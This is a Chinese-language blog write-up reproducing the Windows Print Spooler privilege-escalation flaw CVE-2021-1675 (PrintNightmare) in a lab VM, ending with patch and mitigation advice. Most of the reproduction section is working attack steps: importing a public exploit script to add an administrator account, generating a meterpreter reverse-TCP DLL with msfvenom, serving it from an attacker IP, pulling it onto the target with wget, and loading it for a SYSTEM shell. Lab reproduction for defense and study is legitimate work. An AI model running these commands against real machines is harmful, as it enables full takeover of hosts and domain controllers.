Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

2022-12-06 14:35:34 浏览数 (2)

0x00 简介

微软发布的安全更新补丁中包括了一个Windows Print Spooler权限提升漏洞,漏洞CVE编号:CVE-2021-1675。

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。

建议受影响用户及时更新漏洞补丁进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。

0x01 漏洞概述

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

0x02 影响版本

代码语言:javascript复制
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

0x03 环境搭建

1.安装虚拟机应用程序(本次测试使用的是VMware Workstation Pro16.1版本)

2.安装受漏洞影响的版本的Windows系统,本次测试使用的操作系统环境如下:

代码语言:javascript复制
版本	Windows 10 专业版
版本号	20H2
安装日期	‎2021/‎5/‎13
操作系统内部版本	19042.804

3.安装 Microsoft Visual Studio(本次复现使用的是 Microsoft Visual Studio Community 2019 版本)

以上软件获取和安装可自行上网搜索相关教程

4.开启 Print Spooler

对 “我的电脑” 右键,点击 “管理”:

双击 “服务和应用程序” :

双击 “服务” :

找到 “Print Spooler” 并右键启动:

0x04 漏洞复现

1.下载 exp:

代码语言:javascript复制
https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1

2.讲下载的 exp 复制到目标机器上并使用以下指令在 powershell 中导入运行:

代码语言:javascript复制
Import-Module .cve-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintTest" -NewUser "FakeZeeker" -NewPassword "123"

运行后如下图所示:

此时我们可以看到通过 exp ,我们已经成功创建了一个新的用户 “FakeZeeker” ,密码为 “123”,且该用户在管理员组中,具有管理员权限。

接下来再反弹个 shell 作为扩展,

3.使用 msfvenom 生成反弹shell的 dll(其中 LHOST 替换为攻击机IP):

代码语言:javascript复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=4444 -f dll -o rever.dll

4.在当前目录下开启http服务以供目标机器下载 rever.dll 和 :

代码语言:javascript复制
python3 -m http.server 80

5.启动 msf 进行监听:

6.以普通用户身份启动powershell,执行以下指令。

代码语言:javascript复制
runas /noprofile /user:FakeZeeker powershell

输入新创建的 FakeZeeker 用户的密码后即可以新用户身份打开powershell。

然后在新 powershell 中执行以下指令。

代码语言:javascript复制
wget 192.168.50.130/rever.dll -OutFile C:UsersPublicrever.dll
wget 192.168.50.130/CVE-2021-1675.ps1 -OutFile C:UsersPublicCVE-2021-1675.ps1
Import-Module C:UsersPublicCVE-2021-1675.ps1                                                                     Invoke-Nightmare -DLL C:UsersPublicrever.dll

前两条指令通过攻击机开启的http服务下载需要的 模块 和 dll,后两条指令同样导入exp模块并使用指定 dll 进行利用。

注意这里 FakeZeeker 用户对其他目录有访问限制,使用 C:UsersPublic 进行操作会方便一点

还有一点就是使用目标文件时(如 rever.dll)一定要敲绝对路径。

执行后可以看到有报错,但是不用管,不影响利用。

7.另一边可以看到攻击机的 msf 已经成功连接上了,获取到系统权限的shell。

0x05 修复建议

1)下载安装微软官方提供的补丁:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

2)在前文 “环境搭建” 部分中的启用 Print Spooler 步骤调整为禁用 Print Spooler ,能临时进行缓解。

0 人点赞